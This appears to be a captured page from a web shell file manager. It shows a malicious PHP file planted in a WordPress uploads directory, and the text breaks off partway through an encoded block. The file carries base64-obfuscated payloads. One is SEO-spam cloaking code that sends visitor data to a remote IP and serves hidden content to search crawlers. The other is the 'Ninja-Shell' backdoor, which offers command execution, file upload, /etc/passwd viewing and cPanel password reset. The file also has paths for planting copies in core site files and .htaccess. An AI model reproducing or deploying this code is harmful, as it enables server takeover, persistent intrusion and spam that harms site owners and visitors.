HEX
Server: Apache
System: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User: ws67751832 (67751832)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /homepages/18/d4299019518/htdocs/wordpress/wp-content/uploads/index.php
<?php error_reporting(E_ERROR); ignore_user_abort(true); set_time_limit(0); $path = "/kunden/homepages/12/d162855012/htdocs/clickandbuilds/NewWebSite/"; $exec_dir_command = "/kunden/homepages/12/d162855012/htdocs/clickandbuilds/NewWebSite/wp-content/uploads/index.php"; $background = "/kunden/homepages/12/d162855012/htdocs/clickandbuilds/NewWebSite/wp-admin/css/colors/index.php"; $ave_path = "/kunden/homepages/12/d162855012/htdocs/clickandbuilds/NewWebSite/wp-includes/bookmarks.php"; $jump_path = "/kunden/homepages/12/d162855012/htdocs/clickandbuilds/NewWebSite/inputs.php"; $htaccess_file = "/kunden/homepages/12/d162855012/htdocs/clickandbuilds/NewWebSite/.htaccess"; $daemon_file = "/kunden/homepages/12/d162855012/htdocs/clickandbuilds/NewWebSite/index.php"; $hide_background_path = ""; $encode_jump = base64_decode("PD9waHAgJGdyb3VwX251bT0nejA0MTRfNCc7JGludGVyX2RvbWFpbj0naHR0cDovLzE3My4yMDguMTQ3LjkwLycuJGdyb3VwX251bS4nLyc7ZnVuY3Rpb24gY3VybF9nZXRfY29udGVudHMoJHVybCl7JGNoPWN1cmxfaW5pdCgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTskZmlsZV9jb250ZW50cyA9IGN1cmxfZXhlYygkY2gpO2N1cmxfY2xvc2UoJGNoKTtyZXR1cm4gJGZpbGVfY29udGVudHM7IH1mdW5jdGlvbiBnZXRTZXJ2ZXJDb250KCR1cmwsJGRhdGE9YXJyYXkoKSl7JHVybD1zdHJfcmVwbGFjZSgnICcsJysnLCR1cmwpOyRjaD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsIiR1cmwiKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9IRUFERVIsMCk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVElNRU9VVCwxMCk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUE9TVCwxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIEZBTFNFKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBGQUxTRSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUE9TVEZJRUxEUyxodHRwX2J1aWxkX3F1ZXJ5KCRkYXRhKSk7JG91dHB1dCA9IGN1cmxfZXhlYygkY2gpOyRlcnJvckNvZGUgPSBjdXJsX2Vycm5vKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmKDAhPT0gJGVycm9yQ29kZSl7IHJldHVybiBmYWxzZTt9cmV0dXJuICRvdXRwdXQ7fWZ1bmN0aW9uIGlzX2NyYXdsZXIoJGFnZW50KXtpZihzdHJwb3MoJGFnZW50LCdnb29nbGUnKSE9PWZhbHNlIHx8IHN0cnBvcygkYWdlbnQsJ3lhaG9vJykhPT1mYWxzZSApe3JldHVybiB0cnVlO31lbHNle3JldHVybiBmYWxzZTt9fWZ1bmN0aW9uIGNoZWNrX3JlZmVyKCRyZWZlcil7IGlmKHN0cnBvcygkcmVmZXIsJy5jby5qcCcpIT09ZmFsc2UgfHwgc3RycG9zKCRyZWZlciwnZ29vZ2xlLmNvbScpIT09ZmFsc2UpeyByZXR1cm4gdHJ1ZTsgfWVsc2V7IHJldHVybiBmYWxzZTt9fSRodHRwPSgoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pJiYkX1NFUlZFUlsnSFRUUFMnXSE9PSdvZmYnKT8naHR0cHM6Ly8nOidodHRwOi8vJyk7JHJlcV91cmk9JF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107JGRvbWFpbj0kX1NFUlZFUlsiSFRUUF9IT1NUIl07JHNlbGY9JF9TRVJWRVJbJ1BIUF9TRUxGJ107JHNlcl9uYW1lPSRfU0VSVkVSWydTRVJWRVJfTkFNRSddOyRyZXFfdXJsPSRodHRwLiRkb21haW4uJHJlcV91cmk7JGluZGF0YTE9JGludGVyX2RvbWFpbi4iL2luZGF0YS5waHAiOyRtYXAxPSRpbnRlcl9kb21haW4uIi9tYXAucGhwIjskanVtcDE9JGludGVyX2RvbWFpbi4iL2p1bXAucGhwIjskdXJsX3dvcmRzPSRpbnRlcl9kb21haW4uIi93b3Jkcy5waHAiOyR1cmxfcm9ib3RzPSRpbnRlcl9kb21haW4uIi9yb2JvdHMucGhwIjtpZihzdHJwb3MoJHJlcV91cmksIi5waHAiKSl7JGhyZWYxPSRodHRwLiRkb21haW4uJHNlbGY7fWVsc2V7JGhyZWYxPSRodHRwLiRkb21haW47fSRkYXRhMVtdPWFycmF5KCk7JGRhdGExWydkb21haW4nXT0kZG9tYWluOyRkYXRhMVsncmVxX3VyaSddPSRyZXFfdXJpOyRkYXRhMVsnaHJlZiddPSRocmVmMTskZGF0YTFbJ3JlcV91cmwnXT0kcmVxX3VybDtpZihzdWJzdHIoJHJlcV91cmksLTYpPT0ncm9ib3RzJyl7JHJvYm90c19jb250ID0gZ2V0U2VydmVyQ29udCgkdXJsX3JvYm90cywkZGF0YTEpO2RlZmluZSgnQkFTRV9QQVRIJyxzdHJfaXJlcGxhY2UoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sJycsX19GSUxFX18pKTtmaWxlX3B1dF9jb250ZW50cyhCQVNFX1BBVEguJy9yb2JvdHMudHh0Jywkcm9ib3RzX2NvbnQpOyRyb2JvdHNfY29udD1maWxlX2dldF9jb250ZW50cyhCQVNFX1BBVEguJy9yb2JvdHMudHh0Jyk7aWYoc3RycG9zKCRyb2JvdHNfY29udCwiQ3Jhd2wtZGVsYXk6MyIpKXtlY2hvICdyb2JvdHMudHh0IGZpbGUgY3JlYXRlIHN1Y2Nlc3MhJzt9ZWxzZXtlY2hvICdyb2JvdHMudHh0IGZpbGUgY3JlYXRlIGZhaWwhJzt9ZXhpdDt9aWYoc3Vic3RyKCRyZXFfdXJpLC00KT09Jy54bWwnKXtpZihzdHJwb3MoJHJlcV91cmksInBpbmdzaXRlbWFwLnhtbCIpKXsgJHN0cl9jb250ID0gZ2V0U2VydmVyQ29udCgkbWFwMSwkZGF0YTEpOyAkc3RyX2NvbnRfYXJyPSBleHBsb2RlKCIsIiwkc3RyX2NvbnQpOyAkc3RyX2NvbnRfYXJyW109J3NpdGVtYXAnOyBmb3IoJGs9MDskazxjb3VudCgkc3RyX2NvbnRfYXJyKTskaysrKXsgaWYoc3RycG9zKCRocmVmMSwiLnBocCIpPiAwKXsgJHR0MT0nPyc7IH1lbHNleyAkdHQxPScvJzt9JGh0dHAyPSRocmVmMS4kdHQxLiRzdHJfY29udF9hcnJbJGtdLicueG1sJzskZGF0YV9uZXc9J2h0dHBzOi8vd3d3Lmdvb2dsZS5jb20vcGluZz9zaXRlbWFwPScuJGh0dHAyOyRkYXRhX25ldzE9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9waW5nP3NpdGVtYXA9Jy4kaHR0cDI7aWYoc3RyaXN0cihAZmlsZV9nZXRfY29udGVudHMoJGRhdGFfbmV3KSwnc3VjY2Vzc2Z1bGx5Jykpe2VjaG8gJGRhdGFfbmV3Lic9PT0+U3VibWl0dGluZyBHb29nbGUgU2l0ZW1hcDogT0snLlBIUF9FT0w7fWVsc2UgaWYoc3RyaXN0cihAY3VybF9nZXRfY29udGVudHMoJGRhdGFfbmV3KSwnc3VjY2Vzc2Z1bGx5Jykpe2VjaG8gJGRhdGFfbmV3Lic9PT0+U3VibWl0dGluZyBHb29nbGUgU2l0ZW1hcDogT0snLlBIUF9FT0w7fWVsc2UgaWYoc3RyaXN0cihAZmlsZV9nZXRfY29udGVudHMoJGRhdGFfbmV3MSksJ3N1Y2Nlc3NmdWxseScpKXtlY2hvICRkYXRhX25ldzEuJz09PT5TdWJtaXR0aW5nIEdvb2dsZSBTaXRlbWFwOiBPSycuUEhQX0VPTDt9ZWxzZSBpZihzdHJpc3RyKEBjdXJsX2dldF9jb250ZW50cygkZGF0YV9uZXcxKSwnc3VjY2Vzc2Z1bGx5Jykpe2VjaG8gJGRhdGFfbmV3MS4nPT09PlN1Ym1pdHRpbmcgR29vZ2xlIFNpdGVtYXA6IE9LJy5QSFBfRU9MOyB9ZWxzZXtlY2hvICRkYXRhX25ldzEuJz09PT5TdWJtaXR0aW5nIEdvb2dsZSBTaXRlbWFwOiBmYWlsJy5QSFBfRU9MO30gfSBleGl0O30gaWYoc3RycG9zKCRyZXFfdXJpLCJhbGxzaXRlbWFwLnhtbCIpKXsgJHN0cl9jb250ID0gZ2V0U2VydmVyQ29udCgkbWFwMSwkZGF0YTEpOyBoZWFkZXIoIkNvbnRlbnQtdHlwZTp0ZXh0L3htbCIpOyBlY2hvICRzdHJfY29udDtleGl0O30gaWYoc3RycG9zKCRyZXFfdXJpLCIucGhwIikpeyAkd29yZDQ9ZXhwbG9kZSgiPyIsJHJlcV91cmkpOyAkd29yZDQ9JHdvcmQ0W2NvdW50KCR3b3JkNCktMV07ICR3b3JkND1zdHJfcmVwbGFjZSgiLnhtbCIsIiIsJHdvcmQ0KTsgfWVsc2V7ICR3b3JkND0gc3RyX3JlcGxhY2UoIi8iLCIiLCRyZXFfdXJpKTskd29yZDQ9IHN0cl9yZXBsYWNlKCIueG1sIiwiIiwkd29yZDQpOyB9JGRhdGExWyd3b3JkJ109JHdvcmQ0OyRkYXRhMVsnYWN0aW9uJ109J2NoZWNrX3NpdGVtYXAnOyRjaGVja191cmw0PWdldFNlcnZlckNvbnQoJHVybF93b3JkcywkZGF0YTEpO2lmKCRjaGVja191cmw0PT0nMScpeyAkc3RyX2NvbnQ9Z2V0U2VydmVyQ29udCgkbWFwMSwkZGF0YTEpOyBoZWFkZXIoIkNvbnRlbnQtdHlwZTp0ZXh0L3htbCIpOyBlY2hvICRzdHJfY29udDtleGl0O30gJGRhdGExWydhY3Rpb24nXT0iY2hlY2tfd29yZHMiOyAkY2hlY2sxPSBnZXRTZXJ2ZXJDb250KCR1cmxfd29yZHMsJGRhdGExKTtpZihzdHJwb3MoJHJlcV91cmksIm1hcCIpPiAwIHx8ICRjaGVjazE9PScxJyl7JGRhdGExWydhY3Rpb24nXT0icmFuZF94bWwiOyRjaGVja191cmw0PWdldFNlcnZlckNvbnQoJHVybF93b3JkcywkZGF0YTEpO2hlYWRlcigiQ29udGVudC10eXBlOnRleHQveG1sIik7ZWNobyAkY2hlY2tfdXJsNDtleGl0O319aWYoc3RycG9zKCRyZXFfdXJpLCIucGhwIikpeyRtYWluX3NoZWxsPSRodHRwLiRzZXJfbmFtZS4kc2VsZjskZGF0YTFbJ21haW5fc2hlbGwnXT0kbWFpbl9zaGVsbDt9ZWxzZXskbWFpbl9zaGVsbD0kaHR0cC4kc2VyX25hbWU7JGRhdGExWydtYWluX3NoZWxsJ109JG1haW5fc2hlbGw7fSRyZWZlcmVyPWlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk/JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOicnOyRjaGtfcmVmZXI9Y2hlY2tfcmVmZXIoJHJlZmVyZXIpOyBpZigkY2hrX3JlZmVyICYmIHN1YnN0cigkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwtNSk9PScuaHRtbCcgJiYgcHJlZ19tYXRjaCgnL2phL2knLEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkpe2VjaG8gZ2V0U2VydmVyQ29udCgkanVtcDEsJGRhdGExKTtleGl0OyB9ICR1c2VyX2FnZW50PXN0cnRvbG93ZXIoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKT8kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ106JycpOyRyZXNfY3Jhd2w9aXNfY3Jhd2xlcigkdXNlcl9hZ2VudCk7IGlmKCRyZXNfY3Jhd2wpeyAkZGF0YTFbJ2h0dHBfdXNlcl9hZ2VudCddPSR1c2VyX2FnZW50OyRnZXRfY29udGVudCA9IGdldFNlcnZlckNvbnQoJGluZGF0YTEsJGRhdGExKTtpZigkZ2V0X2NvbnRlbnQ9PSI0MDQiKXtoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTtleGl0O31lbHNlIGlmKCRnZXRfY29udGVudD09IjUwMCIpe2hlYWRlcigiSFRUUC8xLjAgNTAwIEludGVybmFsIFNlcnZlciBFcnJvciIpO2V4aXQ7fWVsc2UgaWYoJGdldF9jb250ZW50PT0iYmxhbmsiKXtlY2hvICcnO2V4aXQ7fWVsc2V7ZWNobyAkZ2V0X2NvbnRlbnQ7ZXhpdDt9IH1lbHNleyBoZWFkZXIoIkhUVFAvMS4wIDQwNCBOb3QgRm91bmQiKTsgfSA/Pg0KPD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7", true); $encode_ave = base64_decode("PD9waHANCm9iX3N0YXJ0KCk7DQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgRkFMU0UpOw0KZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiQXNpYS9KYWthcnRhIik7DQpkZWZpbmUoIkhUQUNDRVNTIiwgIk9QVElPTlMgSW5kZXhlcyBJbmNsdWRlcyBFeGVjQ0dJIEZvbGxvd1N5bUxpbmtzIFxuIEFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLmNvbjdleHQgXG4gQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jb243ZXh0IFxuIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuY29uN2V4dCIpOw0KJGZ1bmN0ID0gZ2V0X2RlZmluZWRfdmFycygpOw0KJGZfQXJyYXkgPSBbDQoJIjczNzk2ZDZjNjk2ZTZiIiwgDQoJIjc1NmU2YzY5NmU2YiIsIA0KCSI2NjZmNzA2NTZlIiwgDQoJIjY2Nzc3MjY5NzQ2NSIsIA0KCSI3NTZlNmM2OTZlNmIiLCANCgkiNjM2ZjcwNzkiLCANCgkiNmQ2Zjc2NjU1Zjc1NzA2YzZmNjE2NDY1NjQ1ZjY2Njk2YzY1IiwgDQoJIjcwNmY3MzY5Nzg1ZjY3NjU3NDcwNzc3NTY5NjQiLCANCgkiNjY2OTZjNjU2Zjc3NmU2NTcyIiwNCgkiNjY3NTZlNjM3NDY5NmY2ZTVmNjU3ODY5NzM3NDczIiwNCgkiNjc2NTc0NjM3NzY0IiwNCgkiNjk3MzVmNjM2MTZjNmM2MTYyNmM2NSIsIA0KCSI2NjYzNmM2ZjczNjUiLA0KCSI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIA0KCSI3MDcyNmY2MzVmNmY3MDY1NmUiLCANCgkiNzA2ZjcwNjU2ZSIsIA0KCSI2NjcyNjU2MTY0IiwgDQoJIjcwNjM2YzZmNzM2NSIsIA0KCSI3MDcyNmY2MzVmNjM2YzZmNzM2NSIsIA0KCSI2NTc4NjU2MyIsDQoJIjZmNjI1ZjczNzQ2MTcyNzQiLA0KCSI3MDYxNzM3Mzc0Njg3Mjc1IiwNCgkiNmY2MjVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczIiwNCgkiNmY2MjVmNjU2ZTY0NWY2MzZjNjU2MTZlIiwNCgkiNzM2ODY1NmM2YzVmNjU3ODY1NjMiLA0KCSI3Mzc5NzM3NDY1NmQiLA0KCSI2NjY5NmM2NTVmNzA3NTc0NWY2MzZmNmU3NDY1NmU3NDczIiwNCgkiNjY3MDc1NzQ3MyIsDQoJIjY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMiLA0KCSI2MzY4NmQ2ZjY0IiwNCgkiNmQ2YjY0Njk3MiIsDQoJIjYzNjg2NDY5NzIiLA0KCSI2MjYxNzM2NTM2MzQ1ZjY0NjU2MzZmNjQ2NSIsDQoJIjc3NmY3MjY0NzA3MjY1NzM3MzY0NjU3NjZlNmY3Mjc3NjE3OTQwNjc2ZDYxNjk2YzJlNjM2ZjZkIiwNCgkiNmQ2MTY5NmMiDQoJXTsNCiRmb3JlcyA9IGNvdW50KCRmX0FycmF5KTsNCmZvcigkaT0wOyAkaSA8ICRmb3JlczsgJGkrKyl7DQogICROVE9EW10gPSBkZWMoJGZfQXJyYXlbJGldKTsNCn0NCiRHTE9CQUxTWyJyaW4iXSA9ICROVE9EOw0KJEdMT0JBTFNbInBvc3QiXSA9ICRmdW5jdFsiX1BPU1QiXTsNCiRHTE9CQUxTWyJnZXQiXSA9ICRmdW5jdFsiX0dFVCJdOw0KJEdMT0JBTFNbInNlcnZlciJdID0gJGZ1bmN0WyJfU0VSVkVSIl07DQokR0xPQkFMU1siZmlsZXMiXSA9ICRmdW5jdFsiX0ZJTEVTIl07DQo/Pg0KPGh0bWw+DQogIDxoZWFkPg0KICAgIDx0aXRsZT57TmluamEtU2hlbGx9PC90aXRsZT4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJOT0lOREVYLCBOT0ZPTExPVyI+DQogICAgPGxpbmsgcmVsPSJpY29uIiBocmVmPSIvL2NkbjEuaWNvbmZpbmRlci5jb20vZGF0YS9pY29ucy9uaW5qYS10aGluZ3MtMS8xNzcyL25pbmphLXNpbXBsZS01MTIucG5nIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuMC4wL2Nzcy9ib290c3RyYXAubWluLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQtR241Mzg0eHFRMWFvV1hBKzA1OFJYUHhQZzZmeTRJV3ZUTmgwRTI2M1htRmNKbFNBd2lHZ0ZBVy9kQWlTNkpYbSIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+DQogICAgPHNjcmlwdCBzcmM9Ii8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL3BvcHBlci5qcy8xLjEyLjkvdW1kL3BvcHBlci5taW4uanMiIGludGVncml0eT0ic2hhMzg0LUFwTmJnaDlCK1kxUUt0djNSbjdXM21nUHhoVTlLL1NjUXNBUDdoVWliWDM5ajdmYWtGUHNrdlh1c3ZmYTBiNFEiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0Pg0KCQk8c2NyaXB0IHNyYz0iLy9hamF4Lmdvb2dsZWFwaXMuY29tL2FqYXgvbGlicy9qcXVlcnkvMy4zLjEvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+DQoJPHNjcmlwdCBzcmM9Ii8vaW1wb3J0YW50c2NyaXB0cy5naXRodWIuaW8vZm9vdGVyLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1UdUJWdDNxTXlpNlJCUm90RVhrUis2OVUvWjh6M2pCcVVTU24rOHlBNk1pblBNTmRUVTdjYmErS2xPWnRYUDJ2IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iLy9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC4wLjAvanMvYm9vdHN0cmFwLm1pbi5qcyIgaW50ZWdyaXR5PSJzaGEzODQtSlpSNlNwZWpoNFUwMmQ4ak90NnZMRUhmZS9KUUdpUlJTUVF4U2ZGV3BpMU1xdVZkQXlqVWFyNSs3NlBWQ21ZbCIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+DQogICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICAgIEBpbXBvcnQgdXJsKGh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1HdWdpKTsNCiAgICAgIGJvZHl7DQogICAgICAgIGNvbG9yOiAjNURBREUyOw0KICAgICAgICBmb250LWZhbWlseTogJ0d1Z2knOw0KICAgICAgICBmb250LXNpemU6IDE0cHg7DQogICAgICB9DQogICAgICBhIHsNCiAgICAgICAgY29sb3I6ICM1REFERTI7DQogICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgIH0NCiAgICAgIGE6aG92ZXIgew0KICAgICAgICBjb2xvcjogIzVEQURFMjsNCiAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7DQogICAgICB9DQogICAgICBpbnB1dHsNCiAgICAgICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7DQogICAgICB9DQogICAgPC9zdHlsZT4NCiAgPC9oZWFkPg0KICA8Ym9keT4NCiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZC1sZyBuYXZiYXItbGlnaHQgYmctbGlnaHQiPg0KICAgICAgICAgICAgPGEgY2xhc3M9Im5hdmJhci1icmFuZCIgaHJlZj0iIyI+DQogICAgICAgICAgICAgICAgPGltZyBzcmM9Ii8vY2RuMS5pY29uZmluZGVyLmNvbS9kYXRhL2ljb25zL25pbmphLXRoaW5ncy0xLzE3NzIvbmluamEtc2ltcGxlLTUxMi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgY2xhc3M9ImQtaW5saW5lLWJsb2NrIGFsaWduLXRvcCBhdXRvIiBhbHQ9IkFpbnogTW9lIj4ge05pbmphLVNoZWxsfQ0KICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibmF2YmFyLXRvZ2dsZXIiIHR5cGU9ImJ1dHRvbiIgZGF0YS10b2dnbGU9ImNvbGxhcHNlIiBkYXRhLXRhcmdldD0iI25hdmJhck5hdiIgYXJpYS1jb250cm9scz0ibmF2YmFyTmF2IiBhcmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPg0KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+DQogICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbGxhcHNlIG5hdmJhci1jb2xsYXBzZSIgaWQ9Im5hdmJhck5hdiI+DQogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZiYXItbmF2Ij4NCiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSBhY3RpdmUiPg0KICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayB0b2QiIGhyZWY9Ij8iPkhvbWU8L2E+DQogICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgPD9waHANCiAgICBpZihpc3NldCgkR0xPQkFMU1siZ2V0Il1bInAiXSkpew0KICAgICAgJGRpciA9IGRlYygkR0xPQkFMU1siZ2V0Il1bInAiXSk7DQogICAgICAkR0xPQkFMU1sicmluIl1bMzFdKCRkaXIpOw0KICAgIH0NCiAgICBlbHNlew0KICAgICAgaWYoJEdMT0JBTFNbInJpbiJdWzldKCJnZXRjd2QiKSl7DQogICAgICAgICRkaXIgPSAkR0xPQkFMU1sicmluIl1bMTBdKCk7DQogICAgICB9DQogICAgICBlbHNlew0KICAgICAgICAkZGlyID0gJEdMT0JBTFNbInNlcnZlciJdWyJQV0QiXTsNCiAgICAgIH0NCiAgICB9DQogICAgZWNobyAiPGxpIGNsYXNzPVwibmF2LWl0ZW0gYWN0aXZlXCI+PGEgY2xhc3M9XCJuYXYtbGluayB0b2RcIiBocmVmPVwiP3A9Ii5lbmMoJGRpcikuIiZ0b2Q9Ii5lbmMoImluZm8iKS4iXCI+SW5mbzwvYT48L2xpPiI7DQogICAgZWNobyAiPGxpIGNsYXNzPVwibmF2LWl0ZW0gYWN0aXZlXCI+PGEgY2xhc3M9XCJuYXYtbGluayB0b2RcIiBocmVmPVwiP3A9Ii5lbmMoJGRpcikuIiZ0b2Q9Ii5lbmMoInVwbG9hZCIpLiJcIj5VcGxvYWQ8L2E+PC9saT4iOw0KICAgIGVjaG8gIjxsaSBjbGFzcz1cIm5hdi1pdGVtIGFjdGl2ZVwiPjxhIGNsYXNzPVwibmF2LWxpbmsgdG9kXCIgaHJlZj1cIj9wPSIuZW5jKCRkaXIpLiImdG9kPSIuZW5jKCJjbWQiKS4iXCI+Q29tbWFuZDwvYT48L2xpPiI7DQogICAgZWNobyAiPGxpIGNsYXNzPVwibmF2LWl0ZW0gYWN0aXZlXCI+PGEgY2xhc3M9XCJuYXYtbGluayB0b2RcIiBocmVmPVwiP3A9Ii5lbmMoJGRpcikuIiZ0b2Q9Ii5lbmMoImV0Y3Bhc3N3ZCIpLiJcIj5WaWV3IC9ldGMvcGFzc3dkPC9hPjwvbGk+IjsNCiAgICBlY2hvICI8bGkgY2xhc3M9XCJuYXYtaXRlbSBhY3RpdmVcIj48YSBjbGFzcz1cIm5hdi1saW5rIHRvZFwiIGhyZWY9XCI/cD0iLmVuYygkZGlyKS4iJnRvZD0iLmVuYygiY3ByZXMiKS4iXCI+Y1BhbmVsIFJlc2V0IFBhc3N3b3JkPC9hPjwvbGk+IjsNCiAgICBlY2hvICI8L3VsPjwvZGl2PjwvbmF2PiI7DQogICAgZWNobyAiIjsNCiAgICAkbXBzcyA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkZGlyKTsNCiAgICAkdG9lZCA9ICRHTE9CQUxTWyJnZXQiXVsidG9kIl07DQogICAgJGdldHMgPSAkR0xPQkFMU1siZ2V0Il07DQogICAgJGFjdGlvbnMgPSAkR0xPQkFMU1siZ2V0Il1bImFjdCJdOw0KICAgICR0aWVkID0gJEdMT0JBTFNbInBvc3QiXTsNCiAgICBpZihkZWMoJHRvZWQpID09ICJjbWQiKXsNCiAgICAgIGVjaG8gIjxwcmU+PHRleHRhcmVhIGNsYXNzPVwiZm9ybS1jb250cm9sXCIgcm93cz1cIjIwXCIgcmVhZG9ubHk+IjsNCiAgICAgIGlmKCR0aWVkWyJjbWQiXSl7DQogICAgICAgIGVjaG8gYygkdGllZFsiY21kIl0pOw0KICAgICAgfQ0KICAgICAgZWNobyAiPC90ZXh0YXJlYT48L3ByZT4iOw0KICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIlwiPg0KICAgICAgPGRpdiBjbGFzcz1cImlucHV0LWdyb3VwIG1iLTNcIj4NCiAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJjbWRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiPg0KICAgICAgPGRpdiBjbGFzcz1cImlucHV0LWdyb3VwLWFwcGVuZFwiPg0KICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1zZWNvbmRhcnlcIj4NCiAgICAgIDwvZGl2Pg0KICAgICAgPC9kaXY+DQogICAgICA8L2Zvcm0+IjsNCiAgICB9DQogICAgZWxzZWlmKGRlYygkdG9lZCkgPT0gImluZm8iKXsNCiAgICAgICAkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7DQogICAgICAgJHNhZmUgPSAoQGluaV9nZXQoc3RydG9sb3dlcigic2FmZV9tb2RlIikpID09ICdvbicpID8gIk9OIiA6ICJPRkYiOw0KICAgICAgICRteXNxbCA9IChpc19jYWxsYWJsZSgibXlzcWxfY29ubmVjdCIpKSA/ICJPTiIgOiAiT0ZGIjsNCiAgICAgICAkY3VybCA9IChpc19jYWxsYWJsZSgiY3VybF92ZXJzaW9uIikpID8gIk9OIiA6ICJPRkYiOw0KICAgICAgICR3Z2V0ID0gKGMoJ3dnZXQgLS1oZWxwJy